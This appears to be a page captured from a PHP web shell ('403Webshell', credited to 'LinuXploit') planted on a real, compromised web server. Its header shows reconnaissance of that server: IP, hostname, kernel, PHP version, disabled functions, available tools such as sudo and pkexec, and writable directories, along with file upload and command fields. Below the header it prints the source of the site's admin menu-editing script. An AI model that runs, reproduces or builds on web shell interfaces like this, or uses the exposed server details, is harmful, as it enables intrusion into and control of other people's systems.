403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/alliancealliance/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/alliancealliance/webadmin/menu_modify.php
<?php
	require_once('check_login.php');
	require_once("function_cropimg.php");
	require_once("mime_type_lib.php");

	$pid       = (int)$_POST["pid"];
	$id        = (int)$_POST["id"];
	$level_num = (int)$_POST["level_num"];

	$sql           = "select * from menu where id = ? ";
	$parameters    = array($id);
	$old_menu_info = bind_pdo($sql, $parameters, "selectone");

	$messgae = "";

	if ($level_num == 2 && $id > 9) {
		if (empty($_POST["name_en"])) {
			$messgae .= "Please enter menu name.\\n\\n";
		}

		if (empty($_POST["short_title_en"])) {
			$messgae .= "Please enter short title.\\n\\n";
		}
	}

	if (empty($_POST["title_en"])) {
		$messgae .= "Please enter page title.\\n\\n";
	}

	foreach ($arraylangcode as $langcode => $langname) {

		// Upload File
		$filelimit = 10 * 1048576; //Filelimit in 10MB
		if ($_FILES["banner_" . $langcode]['name'] <> '') {
			if ($_FILES["banner_" . $langcode]['size'] < $filelimit) {

				//check if image type is valid or not
				$mime = get_file_mime_type($_FILES["banner_" . $langcode]['name']);

				if (($mime == "image/gif") || ($mime == "image/jpeg") || ($mime == "image/png")) {

					$filename = $_FILES["banner_" . $langcode]['name'];
					preg_match("/\.([^\.]+)$/", $filename, $file_ext);
					$newfilename = random_string() . "_menuid_" . $menuid . "." . $file_ext[1]; // default length 8

					move_uploaded_file($_FILES["banner_" . $langcode]['tmp_name'], "../images/banner/" . $newfilename) or die ("Could not copy the file");

					$banner_path = "../images/banner/".$newfilename;

					createthumb($banner_path, $banner_path, 1200, 400);

					$banner[$langcode] = $newfilename;

				} else {
					echo '<script language="javascript">
				alert("Image format should be JPEG, GIF or PNG. Image size should be lower than 10MB");
				history.back();
			</script>';

					exit;
				}

			} else {
				echo '<script language="javascript">
				alert("Image format should be JPEG, GIF or PNG. Image size should be lower than 10MB");
				history.back();
			</script>';

				exit;
			}

		} else {
			$banner[$langcode] = "";
			//$messgae .= "Please select a banner image.\\n\\n";
		}
	}

	if ($level_num == 2) {
		foreach ($arraylangcode as $langcode => $langname) {

			// Upload File
			$filelimit = 10 * 1048576; //Filelimit in 10MB
			if ($_FILES["icon_img_" . $langcode]['name'] <> '') {
				if ($_FILES["icon_img_" . $langcode]['size'] < $filelimit) {

					//check if image type is valid or not
					$mime = get_file_mime_type($_FILES["icon_img_" . $langcode]['name']);

					if (($mime == "image/gif") || ($mime == "image/jpeg") || ($mime == "image/png")) {

						$filename = $_FILES["icon_img_" . $langcode]['name'];
						preg_match("/\.([^\.]+)$/", $filename, $file_ext);
						$newfilename = random_string() . "_menuid_" . $menuid . "." . $file_ext[1]; // default length 8

						move_uploaded_file($_FILES["icon_img_" . $langcode]['tmp_name'], "../images/service_page_icon/" . $newfilename) or die ("Could not copy the file");

						//$icon_img_path = "../images/slideshow/".$newfilename;

						//createthumb($icon_img_path, $icon_img_path, 680, 350);

						$icon_img[$langcode] = $newfilename;

					} else {
						echo '<script language="javascript">
					alert("Image format should be JPEG, GIF or PNG. Image size should be lower than 10MB");
					history.back();
				</script>';

						exit;
					}

				} else {
					echo '<script language="javascript">
					alert("Image format should be JPEG, GIF or PNG. Image size should be lower than 10MB");
					history.back();
				</script>';

					exit;
				}

			} else {
				$icon_img[$langcode] = "";
				//$messgae .= "Please select a icon image.\\n\\n";
			}
		}
	}

	if (!empty($messgae)) {
		echo "<script>alert('" . $messgae . "'); history.back();</script>";
		exit;
	}

	$sql        = "update menu set lastupdate=?, lastupby=?, ";
	$parameters = array($nowdate, $_SESSION['cmsloginid']);

	foreach ($arraylangcode as $langcode => $langname) {
		$sql .= "title_" . $langcode . "=?, desc_" . $langcode . "=?, ";

		$parameters[] = $_POST["title_" . $langcode];
		$parameters[] = $_POST["desc_" . $langcode];

		if ($banner[$langcode] != '' || $_POST['delimage_' . $langcode] > 0) {
			$sql .= "banner_" . $langcode . "=?, ";
			$parameters[] = $banner[$langcode];

			//unlink image
			$unlink_file_path = "../images/banner/" . $old_menu_info["banner_" . $langcode];

			if (is_file($unlink_file_path)) {
				unlink($unlink_file_path);
			}
		}

		if ($level_num > 1) {
			$sql .= "name_" . $langcode . "=?, ";
			$parameters[] = $_POST["name_" . $langcode];

			if ($level_num == 2 && ($id > 9)) {
				$sql .= "short_title_" . $langcode . "=?, short_desc1_" . $langcode . "=?, short_desc2_" . $langcode . "=?, ";

				$parameters[] = $_POST["short_title_" . $langcode];
				$parameters[] = $_POST["short_desc1_" . $langcode];
				$parameters[] = $_POST["short_desc2_" . $langcode];

				if ($icon_img[$langcode] != '' || $_POST['delimage2_' . $langcode] > 0) {
					$sql .= "icon_img_" . $langcode . "=?, ";
					$parameters[] = $icon_img[$langcode];

					//unlink image
					$unlink_file_path = "../images/service_page_icon/" . $old_menu_info["icon_img_" . $langcode];

					if (is_file($unlink_file_path)) {
						unlink($unlink_file_path);
					}
				}
			}
		}
	}

	$sql = substr_replace($sql, "", -2);

	$sql .= " where id=?";
	$parameters[] = $id;
	bind_pdo($sql, $parameters);

	$dbh = null;

	header("Location: menu_index.php?pid=" . $pid . "&msg=2");


Youez - 2016 - github.com/yon3zu
LinuXploit